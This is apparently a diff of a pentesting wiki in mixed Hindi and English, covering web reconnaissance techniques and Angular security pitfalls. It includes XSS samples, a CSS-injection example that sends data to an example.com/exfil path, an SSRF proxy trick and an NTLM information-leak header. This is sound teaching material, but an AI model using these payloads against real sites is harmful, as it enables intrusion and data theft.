- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML के अंदर टूटे हुए लिंक खोजें जो अधिग्रहण के लिए प्रवण हो सकते हैं।
- **फ़ाइल बैकअप**: एक बार जब आप सभी फ़ाइलें खोज लेते हैं, तो सभी निष्पादन योग्य फ़ाइलों के बैकअप की तलाश करें ("_.php_", "_.aspx_"...)। बैकअप का नामकरण करने के लिए सामान्य भिन्नताएँ हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** का उपयोग भी कर सकते हैं।**
- **नए पैरामीटर खोजें**: आप [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) **जैसे उपकरणों का उपयोग कर सकते हैं। यदि आप कर सकते हैं, तो आप प्रत्येक निष्पादन योग्य वेब फ़ाइल पर छिपे हुए पैरामीटर खोजने का प्रयास कर सकते हैं।**
- **फ़ाइल बैकअप**: एक बार जब आप सभी फ़ाइलों को खोज लेते हैं, तो सभी निष्पादन योग्य फ़ाइलों के बैकअप की तलाश करें ("_.php_", "_.aspx_"...)। बैकअप का नामकरण करने के लिए सामान्य भिन्नताएँ हैं: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp और file.old._ आप उपकरण [**bfac**](https://github.com/mazen160/bfac) **या** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** का भी उपयोग कर सकते हैं।**
- **नए पैरामीटर खोजें**: आप [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **और** [**Param Miner**](https://github.com/PortSwigger/param-miner) **जैसे उपकरणों का उपयोग करके छिपे हुए पैरामीटर खोज सकते हैं। यदि आप कर सकते हैं, तो आप प्रत्येक निष्पादन योग्य वेब फ़ाइल पर छिपे हुए पैरामीटर खोजने का प्रयास कर सकते हैं।**
- _Arjun सभी डिफ़ॉल्ट वर्डलिस्ट:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
@ -281,7 +281,7 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
- Google API कुंजी: यदि आप कोई API कुंजी पाते हैं जो **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik की तरह दिखती है, तो आप यह जांचने के लिए प्रोजेक्ट [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) का उपयोग कर सकते हैं कि कुंजी किस API तक पहुँच सकती है।
- **S3 बकेट**: स्पाइडरिंग करते समय देखें कि क्या कोई **उपडोमेन** या कोई **लिंक** किसी **S3 बकेट** से संबंधित है। इस मामले में, [**बकेट** के **अनुमतियों** की **जांच करें**](buckets/index.html)।
### विशेष खोजें
### विशेष खोज
**जब** आप **स्पाइडरिंग** और **ब्रूट-फोर्सिंग** कर रहे होते हैं, तो आप **दिलचस्प** **चीजें** पा सकते हैं जिन पर आपको **ध्यान देना चाहिए**
@ -290,15 +290,15 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
- **CSS** फ़ाइलों के अंदर अन्य फ़ाइलों के लिए **लिंक** की तलाश करें।
- [यदि आप एक _**.git**_ फ़ाइल पाते हैं तो कुछ जानकारी निकाली जा सकती है](git.md)
- यदि आप एक _**.env**_ पाते हैं तो API कुंजी, डेटाबेस पासवर्ड और अन्य जानकारी मिल सकती है।
- यदि आप **API एंडपॉइंट्स** पाते हैं तो आपको [उन्हें भी परीक्षण करना चाहिए](web-api-pentesting.md)। ये फ़ाइलें नहीं हैं, लेकिन शायद "ऐसी ही" दिखेंगी।
- **JS फ़ाइलें**: स्पाइडरिंग अनुभाग में कई उपकरणों का उल्लेख किया गया था जो JS फ़ाइलों से पथ निकाल सकते हैं। इसके अलावा, यह **प्रत्येक JS फ़ाइल** की निगरानी करना दिलचस्प होगा, क्योंकि कुछ अवसरों पर, एक परिवर्तन यह संकेत दे सकता है कि कोड में एक संभावित कमजोरी पेश की गई है। आप उदाहरण के लिए [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।**
- यदि आप **API एंडपॉइंट्स** पाते हैं तो आपको [उन्हें भी परीक्षण करना चाहिए](web-api-pentesting.md)। ये फ़ाइलें नहीं हैं, लेकिन शायद "उनकी तरह" दिखेंगी।
- **JS फ़ाइलें**: स्पाइडरिंग अनुभाग में कई उपकरणों का उल्लेख किया गया था जो JS फ़ाइलों से पथ निकाल सकते हैं। इसके अलावा, यह **हर JS फ़ाइल की निगरानी करना** दिलचस्प होगा, क्योंकि कुछ अवसरों पर, एक परिवर्तन यह संकेत दे सकता है कि कोड में एक संभावित कमजोरी पेश की गई है। आप उदाहरण के लिए [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।**
- आपको [**RetireJS**](https://github.com/retirejs/retire.js/) या [**JSHole**](https://github.com/callforpapers-source/jshole) के साथ खोजी गई JS फ़ाइलों की भी जांच करनी चाहिए कि क्या यह कमजोर है।
- **जावास्क्रिप्ट डिओबफस्केटर और अनपैकर:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **जावास्क्रिप्ट ब्यूटीफायर:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck डिओबफस्केशन** (जावास्क्रिप्ट के साथ अक्षर: "\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- **Javascript Deobfuscator और Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (जावास्क्रिप्ट के साथ वर्ण:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- कई अवसरों पर, आपको उपयोग की गई नियमित अभिव्यक्तियों को **समझने** की आवश्यकता होगी। यह उपयोगी होगा: [https://regex101.com/](https://regex101.com) या [https://pythonium.net/regex](https://pythonium.net/regex)
- आप उन फ़ाइलों की भी **निगरानी कर सकते हैं जहां फ़ॉर्म पाए गए थे**, क्योंकि पैरामीटर में परिवर्तन या नए फ़ॉर्म का प्रकट होना एक संभावित नए कमजोर कार्यक्षमता का संकेत दे सकता है।
- आप उन फ़ाइलों की भी **निगरानी कर सकते हैं जहां फ़ॉर्म का पता लगाया गया था**, क्योंकि पैरामीटर में परिवर्तन या नए फ़ॉर्म का प्रकट होना एक संभावित नए कमजोर कार्यक्षमता का संकेत दे सकता है।
**403 निषिद्ध/बुनियादी प्रमाणीकरण/401 अनधिकृत (बायपास)**
@ -308,12 +308,12 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
**502 प्रॉक्सी त्रुटि**
यदि कोई पृष्ठ **उस कोड** के साथ **प्रतिक्रिया** करता है, तो यह शायद एक **खराब कॉन्फ़िगर की गई प्रॉक्सी** है। **यदि आप एक HTTP अनुरोध भेजते हैं जैसे: `GET https://google.com HTTP/1.1`** (होस्ट हेडर और अन्य सामान्य हेडर के साथ), तो **प्रॉक्सी** _**google.com**_ **तक पहुँचने की कोशिश करेगी** और आप एक **SSRF** पाएंगे।
यदि कोई पृष्ठ **उस कोड के साथ प्रतिक्रिया करता है**, तो यह शायद एक **खराब कॉन्फ़िगर की गई प्रॉक्सी** है। **यदि आप एक HTTP अनुरोध भेजते हैं जैसे: `GET https://google.com HTTP/1.1`** (होस्ट हेडर और अन्य सामान्य हेडर के साथ), तो **प्रॉक्सी** _**google.com**_ **तक पहुँचने की कोशिश करेगी** और आप एक **SSRF** पाएंगे।
**NTLM प्रमाणीकरण - जानकारी का खुलासा**
यदि चल रहा सर्वर प्रमाणीकरण के लिए **Windows** है या आप अपने **क्रेडेंशियल्स** के लिए एक लॉगिन पाते हैं (और **डोमेन** **नाम** के लिए पूछता है), तो आप एक **जानकारी का खुलासा** कर सकते हैं।\
**हेडर** भेजें: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` और जिस तरह से **NTLM प्रमाणीकरण काम करता है**, सर्वर "WWW-Authenticate" हेडर के अंदर आंतरिक जानकारी (IIS संस्करण, Windows संस्करण...) के साथ प्रतिक्रिया देगा।\
**हेडर भेजें**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` और जिस तरह से **NTLM प्रमाणीकरण काम करता है**, सर्वर "WWW-Authenticate" हेडर के अंदर आंतरिक जानकारी (IIS संस्करण, Windows संस्करण...) के साथ प्रतिक्रिया देगा।\
आप **nmap प्लगइन** "_http-ntlm-info.nse_" का उपयोग करके इसे **स्वचालित** कर सकते हैं।
**HTTP रीडायरेक्ट (CTF)**
@ -322,7 +322,7 @@ _ध्यान दें कि जब भी ब्रूट-फोर्स
### वेब कमजोरियों की जांच
अब जब वेब एप्लिकेशन का एक व्यापक अनुक्रमण किया गया है, तो संभावित कमजोरियों की जांच करने का समय है। आप चेकलिस्ट यहाँ पा सकते हैं:
अब जब वेब एप्लिकेशन की एक व्यापक सूची बनाई गई है, तो संभावित कमजोरियों की जांच करने का समय है। आप चेकलिस्ट यहाँ पा सकते हैं:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
@ -348,7 +348,7 @@ Entry_1:
Name: Notes
Description: Notes for Web
Note: |
https://book.hacktricks.xyz/pentesting/pentesting-web
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/index.html
Entry_2:
Name: Quick Web Scan

View File

@ -8,7 +8,7 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).
* [ ] प्रोजेक्ट कॉन्फ़िगरेशन में स्क्रिप्ट के लिए सोर्समैप अक्षम है
* [ ] अविश्वसनीय उपयोगकर्ता इनपुट को हमेशा टेम्पलेट्स में उपयोग करने से पहले इंटरपोलेट या सैनीटाइज किया जाता है
* [ ] उपयोगकर्ता के पास सर्वर-साइड या क्लाइंट-साइड टेम्पलेट्स पर कोई नियंत्रण नहीं है
* [ ] अविश्वसनीय उपयोगकर्ता इनपुट को एप्लिकेशन द्वारा विश्वसनीय होने से पहले एक उपयुक्त सुरक्षा संदर्भ का उपयोग करके सैनीटाइज किया जाता है
* [ ] अविश्वसनीय उपयोगकर्ता इनपुट को एप्लिकेशन द्वारा विश्वसनीय होने से पहले उचित सुरक्षा संदर्भ का उपयोग करके सैनीटाइज किया जाता है
* [ ] `BypassSecurity*` विधियों का अविश्वसनीय इनपुट के साथ उपयोग नहीं किया जाता है
* [ ] अविश्वसनीय उपयोगकर्ता इनपुट को Angular क्लासेस जैसे `ElementRef`, `Renderer2` और `Document`, या अन्य JQuery/DOM सिंक्स में नहीं भेजा जाता है
@ -39,17 +39,17 @@ my-workspace/
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace
```
अन्य दस्तावेज़ के अनुसार, हर Angular एप्लिकेशन में कम से कम एक घटक होता है, रूट घटक (`AppComponent`) जो घटक पदानुक्रम को DOM से जोड़ता है। प्रत्येक घटक एक वर्ग को परिभाषित करता है जिसमें एप्लिकेशन डेटा और लॉजिक होता है, और यह एक HTML टेम्पलेट से संबंधित होता है जो एक लक्षित वातावरण में प्रदर्शित होने वाले दृश्य को परिभाषित करता है। `@Component()` डेकोरेटर उस वर्ग को घटक के रूप में पहचानता है जो इसके ठीक नीचे है, और टेम्पलेट और संबंधित घटक-विशिष्ट मेटाडेटा प्रदान करता है। `AppComponent` को `app.component.ts` फ़ाइल में परिभाषित किया गया है।
According to the documentation, हर Angular एप्लिकेशन में कम से कम एक कंपोनेंट होता है, रूट कंपोनेंट (`AppComponent`) जो एक कंपोनेंट हायरार्की को DOM से जोड़ता है। प्रत्येक कंपोनेंट एक क्लास को परिभाषित करता है जिसमें एप्लिकेशन डेटा और लॉजिक होता है, और यह एक HTML टेम्पलेट से जुड़ा होता है जो एक लक्ष्य वातावरण में प्रदर्शित होने वाले दृश्य को परिभाषित करता है। `@Component()` डेकोरेटर उस क्लास को तुरंत पहचानता है जो इसके नीचे है, और टेम्पलेट और संबंधित कंपोनेंट-विशिष्ट मेटाडेटा प्रदान करता है। `AppComponent` को `app.component.ts` फ़ाइल में परिभाषित किया गया है।
Angular NgModules एक एप्लिकेशन डोमेन, एक कार्यप्रवाह, या निकटता से संबंधित क्षमताओं के सेट के लिए एक संकलन संदर्भ घोषित करते हैं। हर Angular एप्लिकेशन में एक रूट मॉड्यूल होता है, जिसे पारंपरिक रूप से `AppModule` कहा जाता है, जो एप्लिकेशन को लॉन्च करने के लिए बूटस्ट्रैप तंत्र प्रदान करता है। एक एप्लिकेशन में आमतौर पर कई कार्यात्मक मॉड्यूल होते हैं`AppModule` को `app.module.ts` फ़ाइल में परिभाषित किया गया है।
Angular NgModules एक एप्लिकेशन डोमेन, एक वर्कफ़्लो, या निकटता से संबंधित क्षमताओं के सेट के लिए एक संकलन संदर्भ घोषित करते हैं। हर Angular एप्लिकेशन में एक रूट मॉड्यूल होता है, जिसे पारंपरिक रूप से `AppModule` कहा जाता है, जो एप्लिकेशन को लॉन्च करने के लिए बूटस्ट्रैप तंत्र प्रदान करता है। एक एप्लिकेशन आमतौर पर कई कार्यात्मक मॉड्यूल्स को शामिल करता है`AppModule` को `app.module.ts` फ़ाइल में परिभाषित किया गया है।
Angular `Router` NgModule एक सेवा प्रदान करता है जो आपको अपने एप्लिकेशन में विभिन्न एप्लिकेशन राज्यों और दृश्य पदानुक्रमों के बीच एक नेविगेशन पथ परिभाषित करने की अनुमति देता है। `RouterModule` को `app-routing.module.ts` फ़ाइल में परिभाषित किया गया है।
Angular `Router` NgModule एक सेवा प्रदान करता है जो आपको अपने एप्लिकेशन में विभिन्न एप्लिकेशन राज्यों और दृश्य हायरार्की के बीच एक नेविगेशन पथ परिभाषित करने की अनुमति देता है। `RouterModule` को `app-routing.module.ts` फ़ाइल में परिभाषित किया गया है।
डेटा या लॉजिक के लिए जो किसी विशिष्ट दृश्य से संबंधित नहीं है, और जिसे आप घटकों के बीच साझा करना चाहते हैं, आप एक सेवा वर्ग बनाते हैं। एक सेवा वर्ग परिभाषा के तुरंत पहले `@Injectable()` डेकोरेटर होता है। डेकोरेटर मेटाडेटा प्रदान करता है जो अन्य प्रदाताओं को आपकी कक्षा में निर्भरता के रूप में इंजेक्ट करने की अनुमति देता है। निर्भरता इंजेक्शन (DI) आपको अपने घटक वर्गों को पतला और कुशल बनाए रखने की अनुमति देता है। वे सर्वर से डेटा नहीं लाते, उपयोगकर्ता इनपुट को मान्य नहीं करते, या सीधे कंसोल में लॉग नहीं करते; वे ऐसी कार्यों को सेवाओं को सौंपते हैं।
डेटा या लॉजिक के लिए जो किसी विशिष्ट दृश्य से संबंधित नहीं है, और जिसे आप कंपनेट्स के बीच साझा करना चाहते हैं, आप एक सेवा क्लास बनाते हैं। एक सेवा क्लास परिभाषा के तुरंत पहले `@Injectable()` डेकोरेटर होता है। डेकोरेटर मेटाडेटा प्रदान करता है जो अन्य प्रदाताओं को आपकी क्लास में निर्भरता के रूप में इंजेक्ट करने की अनुमति देता है। निर्भरता इंजेक्शन (DI) आपको अपने कंपोनेंट क्लासेस को पतला और कुशल बनाए रखने की अनुमति देता है। वे सर्वर से डेटा नहीं लाते, उपयोगकर्ता इनपुट को मान्य नहीं करते, या सीधे कंसोल में लॉग नहीं करते; वे ऐसी कार्यों को सेवाओं को सौंपते हैं।
## Sourcemap configuration
Angular फ्रेमवर्क TypeScript फ़ाइलों को JavaScript कोड में अनुवाद करता है `tsconfig.json` विकल्पों का पालन करते हुए और फिर `angular.json` कॉन्फ़िगरेशन के साथ एक प्रोजेक्ट बनाता है। `angular.json` फ़ाइल को देखते हुए, हमने एक विकल्प देखा जो एक sourcemap को सक्षम या अक्षम करने के लिए है। Angular दस्तावेज़ के अनुसार, डिफ़ॉल्ट कॉन्फ़िगरेशन में स्क्रिप्ट के लिए एक sourcemap फ़ाइल सक्षम होती है और यह डिफ़ॉल्ट रूप से छिपी नहीं होती है:
Angular फ्रेमवर्क TypeScript फ़ाइलों को JavaScript कोड में अनुवाद करता है `tsconfig.json` विकल्पों का पालन करते हुए और फिर `angular.json` कॉन्फ़िगरेशन के साथ एक प्रोजेक्ट बनाता है। `angular.json` फ़ाइल को देखते हुए, हमने एक विकल्प देखा जो एक सोर्समैप को सक्षम या अक्षम करने के लिए है। Angular दस्तावेज़ के अनुसार, डिफ़ॉल्ट कॉन्फ़िगरेशन में स्क्रिप्ट के लिए एक सोर्समैप फ़ाइल सक्षम होती है और यह डिफ़ॉल्ट रूप से छिपी नहीं होती है:
```json
"sourceMap": {
"scripts": true,
@ -58,21 +58,21 @@ Angular फ्रेमवर्क TypeScript फ़ाइलों को Java
"hidden": false
}
```
आम तौर पर, sourcemap फ़ाइलों का उपयोग डिबगिंग उद्देश्यों के लिए किया जाता है क्योंकि ये उत्पन्न फ़ाइलों को उनके मूल फ़ाइलों से मैप करती हैं। इसलिए, इन्हें उत्पादन वातावरण में उपयोग करने की सिफारिश नहीं की जाती है। यदि sourcemaps सक्षम हैं, तो यह पठनीयता में सुधार करता है और Angular प्रोजेक्ट की मूल स्थिति को दोहराकर फ़ाइल विश्लेषण में मदद करता है। हालाँकि, यदि इन्हें अक्षम किया गया है, तो एक समीक्षक अभी भी एंटी-सुरक्षा पैटर्न की खोज करके एक संकलित JavaScript फ़ाइल का मैन्युअल रूप से विश्लेषण कर सकता है।
Generally, sourcemap files are utilized for debugging purposes as they map generated files to their original files. Therefore, it is not recommended to use them in a production environment. If sourcemaps are enabled, it improves the readability and aids in file analysis by replicating the original state of the Angular project. However, if they are disabled, a reviewer can still analyze a compiled JavaScript file manually by searching for anti-security patterns.
इसके अलावा, एक संकलित JavaScript फ़ाइल Angular प्रोजेक्ट के साथ ब्राउज़र डेवलपर टूल्स → Sources (या Debugger और Sources) → \[id].main.js में पाई जा सकती है। सक्षम विकल्पों के आधार पर, इस फ़ाइल के अंत में निम्नलिखित पंक्ति हो सकती है `//# sourceMappingURL=[id].main.js.map` या यह नहीं हो सकती, यदि **hidden** विकल्प **true** पर सेट है। फिर भी, यदि **scripts** के लिए sourcemap अक्षम है, तो परीक्षण अधिक जटिल हो जाता है, और हम फ़ाइल प्राप्त नहीं कर सकते। इसके अलावा, प्रोजेक्ट निर्माण के दौरान sourcemap को सक्षम किया जा सकता है जैसे `ng build --source-map`
Furthemore, a compiled JavaScript file with an Angular project can be found in the browser developer tools → Sources (or Debugger and Sources) → \[id].main.js. Depending on the enabled options, this file may contain the following row in the end `//# sourceMappingURL=[id].main.js.map` or it may not, if the **hidden** option is set to **true**. Nonetheless, if the sourcemap is disabled for **scripts**, testing becomes more complex, and we cannot obtain the file. In addition, sourcemap can be enabled during project build like `ng build --source-map`.
## डेटा बाइंडिंग
## Data binding
बाइंडिंग उस प्रक्रिया को संदर्भित करती है जिसमें एक घटक और इसके संबंधित दृश्य के बीच संचार होता है। इसका उपयोग Angular ढांचे के लिए डेटा को स्थानांतरित करने के लिए किया जाता है। डेटा को विभिन्न तरीकों से पास किया जा सकता है, जैसे कि घटनाओं, इंटरपोलेशन, गुणों, या दो-तरफा बाइंडिंग तंत्र के माध्यम से। इसके अलावा, डेटा को संबंधित घटकों (माता-पिता-शिशु संबंध) और दो अप्रासंगिक घटकों के बीच सेवा सुविधा का उपयोग करके भी साझा किया जा सकता है।
Binding refers to the process of communication between a component and its corresponding view. It is utilized for transferring data to and from the Angular framework. Data can be passed through various means, such as through events, interpolation, properties, or through the two-way binding mechanism. Moreover, data can also be shared between related components (parent-child relation) and between two unrelated components using the Service feature.
हम डेटा प्रवाह द्वारा बाइंडिंग को वर्गीकृत कर सकते हैं:
We can classify binding by data flow:
* डेटा स्रोत से दृश्य लक्ष्य (जिसमें _interpolation_, _properties_, _attributes_, _classes_ और _styles_ शामिल हैं); इसे टेम्पलेट में `[]` या `{{}}` का उपयोग करके लागू किया जा सकता है;
* दृश्य लक्ष्य से डेटा स्रोत (जिसमें _events_ शामिल हैं); इसे टेम्पलेट में `()` का उपयोग करके लागू किया जा सकता है;
* दो-तरफा; इसे टेम्पलेट में `[()]` का उपयोग करके लागू किया जा सकता है।
* Data source to view target (includes _interpolation_, _properties_, _attributes_, _classes_ and _styles_); can be applied by using `[]` or `{{}}` in template;
* View target to data source (includes _events_); can be applied by using `()` in template;
* Two-Way; can be applied by using `[()]` in template.
बाइंडिंग को गुणों, घटनाओं, और विशेषताओं पर, साथ ही स्रोत निर्देशिका के किसी भी सार्वजनिक सदस्य पर बुलाया जा सकता है:
Binding can be called on properties, events, and attributes, as well as on any public member of a source directive:
| TYPE | TARGET | EXAMPLES |
| --------- | -------------------------------------------------------- | -------------------------------------------------------------------- |
@ -83,11 +83,11 @@ Angular फ्रेमवर्क TypeScript फ़ाइलों को Java
| Class | class property | \<div \[class.special]="isSpecial">Special |
| Style | style property | \<button type="button" \[style.color]="isSpecial ? 'red' : 'green'"> |
## Angular सुरक्षा मॉडल
## Angular security model
Angular का डिज़ाइन डिफ़ॉल्ट रूप से सभी डेटा को एन्कोडिंग या सैनिटाइजेशन करता है, जिससे Angular प्रोजेक्ट में XSS कमजोरियों को खोजने और शोषण करना अधिक कठिन हो जाता है। डेटा हैंडलिंग के लिए दो अलग-अलग परिदृश्य हैं:
Angular's design includes encoding or sanitization of all data by default, making it increasingly difficult to discover and exploit XSS vulnerabilities in Angular projects. There are two distinct scenarios for data handling:
1. इंटरपोलेशन या `{{user_input}}` - संदर्भ-संवेदनशील एन्कोडिंग करता है और उपयोगकर्ता इनपुट को पाठ के रूप में व्याख्या करता है;
1. Interpolation or `{{user_input}}`- performs context-sensitive encoding and interprets user input as text;
```jsx
//app.component.ts
@ -97,8 +97,8 @@ test = "<script>alert(1)</script><h1>test</h1>";
{{test}}
```
परिणाम: `&lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt;`
2. गुणों, विशेषताओं, कक्षाओं और शैलियों के लिए बाइंडिंग या `[attribute]="user_input"` - प्रदान किए गए सुरक्षा संदर्भ के आधार पर सैनिटाइजेशन करता है।
Result: `&lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt;`
2. Binding to properties, attributes, classes and styles or `[attribute]="user_input"` - performs sanitization based on the provided security context.
```jsx
//app.component.ts
@ -108,24 +108,24 @@ test = "<script>alert(1)</script><h1>test</h1>";
<div [innerHtml]="test"></div>
```
परिणाम: `<div><h1>test</h1></div>`
Result: `<div><h1>test</h1></div>`
`SecurityContext` के 6 प्रकार हैं:
There are 6 types of `SecurityContext` :
* `None`;
* `HTML` का उपयोग तब किया जाता है, जब मान को HTML के रूप में व्याख्या किया जाता है;
* `STYLE` का उपयोग तब किया जाता है, जब CSS को `style` गुण में बाइंड किया जाता है;
* `URL` का उपयोग URL गुणों के लिए किया जाता है, जैसे `<a href>`;
* `SCRIPT` का उपयोग JavaScript कोड के लिए किया जाता है;
* `RESOURCE_URL` एक URL के रूप में जो कोड के रूप में लोड और निष्पादित किया जाता है, उदाहरण के लिए, `<script src>` में।
* `HTML` is used, when interpreting value as HTML;
* `STYLE` is used, when binding CSS into the `style` property;
* `URL` is used for URL properties, such as `<a href>`;
* `SCRIPT` is used for JavaScript code;
* `RESOURCE_URL` as a URL that is loaded and executed as code, for example, in `<script src>`.
## कमजोरियाँ
## Vulnerabilities
### सुरक्षा ट्रस्ट विधियों को बायपास करना
### Bypass Security Trust methods
Angular अपनी डिफ़ॉल्ट सैनिटाइजेशन प्रक्रिया को बायपास करने के लिए विधियों की एक सूची पेश करता है और यह इंगित करता है कि एक मान को एक विशिष्ट संदर्भ में सुरक्षित रूप से उपयोग किया जा सकता है, जैसे कि निम्नलिखित पांच उदाहरणों में:
The Angular introduces a list of methods to bypass its default sanitization process and to indicate that a value can be used safely in a specific context, as in the following five examples:
1. `bypassSecurityTrustUrl` का उपयोग यह इंगित करने के लिए किया जाता है कि दिया गया मान एक सुरक्षित शैली URL है:
1. `bypassSecurityTrustUrl` is used to indicate the given value is a safe style URL:
```jsx
//app.component.ts
@ -137,7 +137,7 @@ this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');
//result
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Click me</a>
```
2. `bypassSecurityTrustResourceUrl` का उपयोग यह इंगित करने के लिए किया जाता है कि दिया गया मान एक सुरक्षित संसाधन URL है:
2. `bypassSecurityTrustResourceUrl` is used to indicate the given value is a safe resource URL:
```jsx
//app.component.ts
@ -149,7 +149,7 @@ this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https:/
//result
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
```
3. `bypassSecurityTrustHtml` का उपयोग यह इंगित करने के लिए किया जाता है कि दिया गया मान सुरक्षित HTML है। ध्यान दें कि इस तरह DOM पेड़ में `script` तत्वों को डालने से उन्हें संलग्न JavaScript कोड को निष्पादित नहीं करने का कारण बनता है, क्योंकि ये तत्व DOM पेड़ में कैसे जोड़े जाते हैं।
3. `bypassSecurityTrustHtml` is used to indicate the given value is safe HTML. Note that inserting `script` elements into the DOM tree in this way will not cause them to execute the enclosed JavaScript code, because of how these elements are added to the DOM tree.
```jsx
//app.component.ts
@ -162,7 +162,7 @@ this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg
<h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
```
4. `bypassSecurityTrustScript` का उपयोग यह इंगित करने के लिए किया जाता है कि दिया गया मान सुरक्षित JavaScript है। हालाँकि, हमने इसके व्यवहार को अप्रत्याशित पाया, क्योंकि हम इस विधि का उपयोग करके टेम्पलेट में JS कोड को निष्पादित नहीं कर सके।
4. `bypassSecurityTrustScript` is used to indicate the given value is safe JavaScript. However, we found its behavior to be unpredictable, because we couldnt to execute JS code in templates using this method.
```jsx
//app.component.ts
@ -174,7 +174,7 @@ this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Sec
//result
-
```
5. `bypassSecurityTrustStyle` का उपयोग यह इंगित करने के लिए किया जाता है कि दिया गया मान सुरक्षित CSS है। निम्नलिखित उदाहरण CSS इंजेक्शन को दर्शाता है:
5. `bypassSecurityTrustStyle` is used to indicate the given value is safe CSS. The following example illustrates CSS injection:
```jsx
//app.component.ts
@ -187,13 +187,13 @@ this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: u
Request URL: GET example.com/exfil/a
```
Angular एक `sanitize` विधि प्रदान करता है जो डेटा को प्रदर्शित करने से पहले सैनिटाइज करता है। यह विधि प्रदान किए गए सुरक्षा संदर्भ का उपयोग करती है और इनपुट को तदनुसार साफ करती है। हालाँकि, विशिष्ट डेटा और संदर्भ के लिए सही सुरक्षा संदर्भ का उपयोग करना महत्वपूर्ण है। उदाहरण के लिए, HTML सामग्री पर `SecurityContext.URL` के साथ सैनिटाइज़र लागू करने से खतरनाक HTML मानों के खिलाफ सुरक्षा नहीं मिलती है। ऐसे परिदृश्यों में, सुरक्षा संदर्भ का दुरुपयोग XSS कमजोरियों का कारण बन सकता है।
Angular provides a `sanitize` method to sanitize data before displaying it in views. This method employs the security context provided and cleanses the input accordingly. It is, however, crucial to use the correct security context for the specific data and context. For instance, applying a sanitizer with `SecurityContext.URL` on HTML content does not provide protection against dangerous HTML values. In such scenarios, misuse of security context could lead to XSS vulnerabilities.
### HTML इंजेक्शन
### HTML injection
यह कमजोरी तब होती है जब उपयोगकर्ता इनपुट को `innerHTML`, `outerHTML`, या `iframe` `srcdoc` में से किसी एक तीन गुणों से बाइंड किया जाता है। जबकि इन विशेषताओं के लिए बाइंडिंग HTML को जैसा है वैसा व्याख्या करती है, इनपुट को `SecurityContext.HTML` का उपयोग करके सैनिटाइज किया जाता है। इस प्रकार, HTML इंजेक्शन संभव है, लेकिन क्रॉस-साइट स्क्रिप्टिंग (XSS) नहीं है।
This vulnerability occurs when user input is bound to any of the three properties: `innerHTML`, `outerHTML`, or `iframe` `srcdoc`. While binding to these attributes interprets HTML as it is, the input is sanitized using `SecurityContext.HTML`. Thus, HTML injection is possible, but cross-site scripting (XSS) is not.
`innerHTML` का उपयोग करने का उदाहरण:
Example of using `innerHTML`:
```jsx
//app.component.ts
import { Component} from '@angular/core';
@ -210,7 +210,7 @@ test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html
<div [innerHTML]="test"></div>
```
The result is `<div><h1>test</h1></div>`.
<div><h1>test</h1></div>
### Template injection
@ -218,7 +218,7 @@ The result is `<div><h1>test</h1></div>`.
